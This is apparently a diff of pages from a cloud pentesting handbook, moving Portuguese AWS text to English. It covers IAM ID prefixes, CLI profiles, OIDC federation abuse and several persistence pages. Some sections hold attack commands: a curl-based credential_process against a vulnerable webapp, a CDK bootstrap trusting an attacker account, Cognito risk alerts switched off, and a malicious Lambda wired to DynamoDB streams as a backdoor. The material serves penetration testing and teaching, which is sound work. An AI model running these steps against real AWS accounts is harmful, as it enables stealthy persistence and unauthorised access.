### AWS Simple AD
|
||||
|
||||
Não suportado:
|
||||
Not supported:
|
||||
|
||||
- Relações de Confiança
|
||||
- Centro de Administração do AD
|
||||
- Suporte completo à API PS
|
||||
- Lixeira do AD
|
||||
- Contas de Serviço Gerenciadas por Grupo
|
||||
- Extensões de Esquema
|
||||
- Sem acesso direto ao SO ou Instâncias
|
||||
- Trust Relations
|
||||
- AD Admin Center
|
||||
- Full PS API support
|
||||
- AD Recycle Bin
|
||||
- Group Managed Service Accounts
|
||||
- Schema Extensions
|
||||
- No Direct access to OS or Instances
|
||||
|
||||
#### Federação Web ou Autenticação OpenID
|
||||
#### Web Federation or OpenID Authentication
|
||||
|
||||
O aplicativo usa o AssumeRoleWithWebIdentity para criar credenciais temporárias. No entanto, isso não concede acesso ao console da AWS, apenas acesso a recursos dentro da AWS.
|
||||
The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
|
||||
|
||||
### Outras opções IAM
|
||||
### Other IAM options
|
||||
|
||||
- Você pode **definir uma configuração de política de senha** com opções como comprimento mínimo e requisitos de senha.
|
||||
- Você pode **baixar o "Relatório de Credenciais"** com informações sobre credenciais atuais (como tempo de criação do usuário, se a senha está habilitada...). Você pode gerar um relatório de credenciais com frequência de até uma vez a cada **quatro horas**.
|
||||
- You can **set a password policy setting** options like minimum length and password requirements.
|
||||
- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
|
||||
|
||||
O AWS Identity and Access Management (IAM) fornece **controle de acesso granular** em toda a AWS. Com o IAM, você pode especificar **quem pode acessar quais serviços e recursos**, e sob quais condições. Com as políticas IAM, você gerencia permissões para sua força de trabalho e sistemas para **garantir permissões de menor privilégio**.
|
||||
AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
|
||||
|
||||
### Prefixos de ID IAM
|
||||
### IAM ID Prefixes
|
||||
|
||||
Na [**esta página**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids), você pode encontrar os **prefixos de ID IAM** de chaves dependendo de sua natureza:
|
||||
In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
|
||||
|
||||
| Código do Identificador | Descrição |
|
||||
| Identifier Code | Description |
|
||||
| --------------- | ----------------------------------------------------------------------------------------------------------- |
|
||||
| ABIA | [Token portador do serviço AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
|
||||
| ACCA | Credencial específica do contexto |
|
||||
| AGPA | Grupo de usuários |
|
||||
| AIDA | Usuário IAM |
|
||||
| AIPA | Perfil de instância do Amazon EC2 |
|
||||
| AKIA | Chave de acesso |
|
||||
| ANPA | Política gerenciada |
|
||||
| ANVA | Versão em uma política gerenciada |
|
||||
| APKA | Chave pública |
|
||||
| AROA | Função |
|
||||
| ASCA | Certificado |
|
||||
| ASIA | [IDs de chaves de acesso temporárias (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) usam este prefixo, mas são únicos apenas em combinação com a chave de acesso secreta e o token de sessão. |
|
||||
| ACCA | Context-specific credential |
|
||||
| AGPA | User group |
|
||||
| AIDA | IAM user |
|
||||
| AIPA | Amazon EC2 instance profile |
|
||||
| AKIA | Access key |
|
||||
| ANPA | Managed policy |
|
||||
| ANVA | Version in a managed policy |
|
||||
| APKA | Public key |
|
||||
| AROA | Role |
|
||||
| ASCA | Certificate |
|
||||
| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
|
||||
|
||||
### Permissões recomendadas para auditar contas
|
||||
### Recommended permissions to audit accounts
|
||||
|
||||
Os seguintes privilégios concedem vários acessos de leitura de metadados:
|
||||
The following privileges grant various read access of metadata:
|
||||
|
||||
- `arn:aws:iam::aws:policy/SecurityAudit`
|
||||
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
|
||||
@@ -338,13 +356,14 @@ Os seguintes privilégios concedem vários acessos de leitura de metadados:
|
||||
- `directconnect:DescribeConnections`
|
||||
- `dynamodb:ListTables`
|
||||
|
||||
## Diversos
|
||||
## Misc
|
||||
|
||||
### Autenticação CLI
|
||||
### CLI Authentication
|
||||
|
||||
In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
|
||||
In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
|
||||
Example of credentials file with more than 1 profile:
|
||||
|
||||
Para que um usuário regular se autentique na AWS via CLI, você precisa ter **credenciais locais**. Por padrão, você pode configurá-las **manualmente** em `~/.aws/credentials` ou **executando** `aws configure`.\
|
||||
Nesse arquivo, você pode ter mais de um perfil; se **nenhum perfil** for especificado usando o **aws cli**, o chamado **`[default]`** nesse arquivo será usado.\
|
||||
Exemplo de arquivo de credenciais com mais de 1 perfil:
|
||||
```
|
||||
[default]
|
||||
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
|
||||
@@ -355,10 +374,12 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
|
||||
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
|
||||
region = eu-west-2
|
||||
```
|
||||
Se você precisar acessar **diferentes contas AWS** e seu perfil foi concedido acesso para **assumir um papel dentro dessas contas**, você não precisa chamar manualmente o STS toda vez (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) e configurar as credenciais.
|
||||
|
||||
Você pode usar o arquivo `~/.aws/config` para [**indicar quais papéis assumir**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), e então usar o parâmetro `--profile` como de costume (o `assume-role` será realizado de forma transparente para o usuário).\
|
||||
Um exemplo de arquivo de configuração:
|
||||
If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) and configure the credentials.
|
||||
|
||||
You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
|
||||
A config file example:
|
||||
|
||||
```
|
||||
[profile acc2]
|
||||
region=eu-west-2
|
||||
@@ -367,30 +388,36 @@ role_session_name = <session_name>
|
||||
source_profile = <profile_with_assume_role>
|
||||
sts_regional_endpoints = regional
|
||||
```
|
||||
Com este arquivo de configuração, você pode então usar aws cli como:
|
||||
|
||||
With this config file you can then use aws cli like:
|
||||
|
||||
```
|
||||
aws --profile acc2 ...
|
||||
```
|
||||
Se você está procurando algo **semelhante** a isso, mas para o **navegador**, você pode conferir a **extensão** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
|
||||
|
||||
#### Automatizando credenciais temporárias
|
||||
If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
|
||||
|
||||
#### Automating temporary credentials
|
||||
|
||||
If you are exploiting an application which generates temporary credentials, it can be tedious updating them in your terminal every few minutes when they expire. This can be fixed using a `credential_process` directive in the config file. For example, if you have some vulnerable webapp, you could do:
|
||||
|
||||
Se você está explorando uma aplicação que gera credenciais temporárias, pode ser tedioso atualizá-las no seu terminal a cada poucos minutos quando elas expiram. Isso pode ser resolvido usando uma diretiva `credential_process` no arquivo de configuração. Por exemplo, se você tiver algum webapp vulnerável, você poderia fazer:
|
||||
```toml
|
||||
[victim]
|
||||
credential_process = curl -d 'PAYLOAD' https://some-site.com
|
||||
```
|
||||
Observe que as credenciais _devem_ ser retornadas para STDOUT no seguinte formato:
|
||||
|
||||
Note that credentials _must_ be returned to STDOUT in the following format:
|
||||
```json
|
||||
{
|
||||
"Version": 1,
|
||||
"AccessKeyId": "an AWS access key",
|
||||
"SecretAccessKey": "your AWS secret access key",
|
||||
"SessionToken": "the AWS session token for temporary credentials",
|
||||
"Expiration": "ISO8601 timestamp when the credentials expire"
|
||||
}
|
||||
"Version": 1,
|
||||
"AccessKeyId": "an AWS access key",
|
||||
"SecretAccessKey": "your AWS secret access key",
|
||||
"SessionToken": "the AWS session token for temporary credentials",
|
||||
"Expiration": "ISO8601 timestamp when the credentials expire"
|
||||
}
|
||||
```
|
||||
## Referências
|
||||
|
||||
## References
|
||||
|
||||
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
|
||||
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
|
||||
|
||||
@@ -1,84 +1,87 @@
|
||||
# AWS - Abuso de Federação
|
||||
# AWS - Federation Abuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SAML
|
||||
|
||||
Para informações sobre SAML, consulte:
|
||||
For info about SAML please check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
{{#endref}}
|
||||
|
||||
Para configurar uma **Federação de Identidade através do SAML**, você só precisa fornecer um **nome** e o **XML de metadados** contendo toda a configuração SAML (**endpoints**, **certificado** com chave pública)
|
||||
In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
|
||||
|
||||
## OIDC - Abuso de Github Actions
|
||||
## OIDC - Github Actions Abuse
|
||||
|
||||
Para adicionar uma ação do github como provedor de identidade:
|
||||
In order to add a github action as Identity provider:
|
||||
|
||||
1. For _Provider type_, select **OpenID Connect**.
|
||||
2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
|
||||
3. Click on _Get thumbprint_ to get the thumbprint of the provider
|
||||
4. For _Audience_, enter `sts.amazonaws.com`
|
||||
5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"token.actions.githubusercontent.com:sub": [
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
|
||||
],
|
||||
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
|
||||
7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
|
||||
8. Finally use a github action to configure the AWS creds to be used by the workflow:
|
||||
|
||||
1. Para _Tipo de provedor_, selecione **OpenID Connect**.
|
||||
2. Para _URL do provedor_, insira `https://token.actions.githubusercontent.com`
|
||||
3. Clique em _Obter impressão digital_ para obter a impressão digital do provedor
|
||||
4. Para _Público_, insira `sts.amazonaws.com`
|
||||
5. Crie um **novo papel** com as **permissões** que a ação do github precisa e uma **política de confiança** que confie no provedor como:
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"token.actions.githubusercontent.com:sub": [
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
|
||||
],
|
||||
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
6. Observe na política anterior como apenas uma **branch** do **repositório** de uma **organização** foi autorizada com um **gatilho** específico.
|
||||
7. O **ARN** do **papel** que a ação do github poderá **impersonar** será o "segredo" que a ação do github precisa saber, então **armazene**-o dentro de um **segredo** em um **ambiente**.
|
||||
8. Por fim, use uma ação do github para configurar as credenciais da AWS a serem usadas pelo fluxo de trabalho:
|
||||
```yaml
|
||||
name: "test AWS Access"
|
||||
|
||||
# The workflow should only trigger on pull requests to the main branch
|
||||
on:
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
|
||||
# Required to get the ID Token that will be used for OIDC
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read # needed for private repos to checkout
|
||||
id-token: write
|
||||
contents: read # needed for private repos to checkout
|
||||
|
||||
jobs:
|
||||
aws:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
aws:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Configure AWS Credentials
|
||||
uses: aws-actions/configure-aws-credentials@v1
|
||||
with:
|
||||
aws-region: eu-west-1
|
||||
role-to-assume:${{ secrets.READ_ROLE }}
|
||||
role-session-name: OIDCSession
|
||||
- name: Configure AWS Credentials
|
||||
uses: aws-actions/configure-aws-credentials@v1
|
||||
with:
|
||||
aws-region: eu-west-1
|
||||
role-to-assume:${{ secrets.READ_ROLE }}
|
||||
role-session-name: OIDCSession
|
||||
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
```
|
||||
|
||||
## OIDC - EKS Abuse
|
||||
|
||||
```bash
|
||||
# Crate an EKS cluster (~10min)
|
||||
eksctl create cluster --name demo --fargate
|
||||
@@ -88,34 +91,43 @@ eksctl create cluster --name demo --fargate
|
||||
# Create an Identity Provider for an EKS cluster
|
||||
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
|
||||
```
|
||||
É possível gerar **OIDC providers** em um **EKS** cluster simplesmente definindo a **OIDC URL** do cluster como um **novo provedor de identidade Open ID**. Esta é uma política padrão comum:
|
||||
|
||||
It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Esta política está corretamente indicando que **apenas** o **cluster EKS** com **id** `20C159CDF6F2349B68846BEC03BE031B` pode assumir a função. No entanto, não está indicando qual conta de serviço pode assumí-la, o que significa que **QUALQUER conta de serviço com um token de identidade da web** poderá **assumir** a função.
|
||||
|
||||
Para especificar **qual conta de serviço deve ser capaz de assumir a função,** é necessário especificar uma **condição** onde o **nome da conta de serviço é especificado**, como:
|
||||
This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
|
||||
|
||||
In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
|
||||
|
||||
```bash
|
||||
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
|
||||
```
|
||||
## Referências
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,17 +1,21 @@
|
||||
# AWS - Permissões para um Pentest
|
||||
# AWS - Permissions for a Pentest
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Estas são as permissões que você precisa em cada conta AWS que deseja auditar para poder executar todas as ferramentas de auditoria AWS propostas:
|
||||
These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
|
||||
|
||||
- A política padrão **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
|
||||
- Para executar [aws_iam_review](https://github.com/carlospolop/aws_iam_review) você também precisa das permissões:
|
||||
- **access-analyzer:List\***
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- Opcional se o cliente gerar os analisadores para você, mas geralmente é mais fácil apenas pedir por essa permissão)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- Opcional se o cliente remover os analisadores para você, mas geralmente é mais fácil apenas pedir por essa permissão)
|
||||
- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
|
||||
- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
|
||||
- **access-analyzer:List\***
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# AWS - Persistência
|
||||
# AWS - Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information go to:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
|
||||
Modify the resource policy of the API gateway(s) to grant yourself access to them
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
|
||||
Or just remove the use of the authorizer.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
|
||||
Or just remove the use of the authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
If API keys are used, you could leak them to maintain persistence or even create new ones.\
|
||||
Or just remove the use of API keys.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,32 +0,0 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Política de Recursos
|
||||
|
||||
Modifique a política de recursos do(s) API gateway(s) para conceder a si mesmo acesso a eles
|
||||
|
||||
### Modificar Lambda Authorizers
|
||||
|
||||
Modifique o código dos lambda authorizers para conceder a si mesmo acesso a todos os endpoints.\
|
||||
Ou simplesmente remova o uso do authorizer.
|
||||
|
||||
### Permissões IAM
|
||||
|
||||
Se um recurso estiver usando um IAM authorizer você pode conceder a si mesmo acesso a ele modificando as permissões IAM.\
|
||||
Ou simplesmente remova o uso do authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
Se API keys estiverem sendo usadas, você pode leak as chaves para manter persistence ou até criar novas.\
|
||||
Ou simplesmente remova o uso de API keys.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
For more information, access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
The AWS CDK deploys a CFN stack called `CDKToolkit`. This stack supports a parameter `TrustedAccounts` which allow external accounts to deploy CDK projects into the victim account. An attacker can abuse this to grant themselves indefinite access to the victim account, either by using the AWS cli to redeploy the stack with parameters, or the AWS CDK cli.
|
||||
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,23 +0,0 @@
|
||||
# AWS - Cloudformation Persistência
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Para mais informações, acesse:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
O AWS CDK implanta uma CFN stack chamada `CDKToolkit`. Essa stack suporta um parâmetro `TrustedAccounts` que permite que contas externas implantem projetos CDK na conta da vítima. Um atacante pode abusar disso para conceder a si mesmo acesso indefinido à conta da vítima, seja usando o AWS cli para reimplantar a stack com parâmetros, ou o AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,46 @@
|
||||
# AWS - Cognito Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
For more information, access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### User persistence
|
||||
|
||||
Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
|
||||
|
||||
- **Adding a User Pool** controlled by the user to an Identity Pool
|
||||
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
|
||||
- Or to an **authenticated Identity Pool** if the attacker can login
|
||||
- Or **improve the permissions** of the given roles
|
||||
- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
|
||||
- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
|
||||
|
||||
Check how to do these actions in
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
|
||||
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
|
||||
By default this is disabled:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,40 +0,0 @@
|
||||
# AWS - Persistência do Cognito
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Para mais informações, acesse:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistência de usuários
|
||||
|
||||
Cognito é um serviço que permite atribuir roles a usuários não autenticados e autenticados e controlar um diretório de usuários. Várias configurações diferentes podem ser alteradas para manter alguma persistência, como:
|
||||
|
||||
- **Adding a User Pool** controlled by the user to an Identity Pool
|
||||
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
|
||||
- Or to an **authenticated Identity Pool** if the attacker can login
|
||||
- Or **improve the permissions** of the given roles
|
||||
- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
|
||||
- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
|
||||
|
||||
Confira como realizar essas ações em
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-cognito-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Um atacante com esse privilégio poderia modificar a configuração de risco para conseguir logar como um Cognito user **sem que alarmes sejam acionados**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para ver todas as opções:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Por padrão, isso está desativado:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,67 @@
|
||||
# AWS - DynamoDB Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
For more information access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Triggers with Lambda Backdoor
|
||||
|
||||
Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
|
||||
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
|
||||
|
||||
### DynamoDB as a C2 Channel
|
||||
|
||||
An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
|
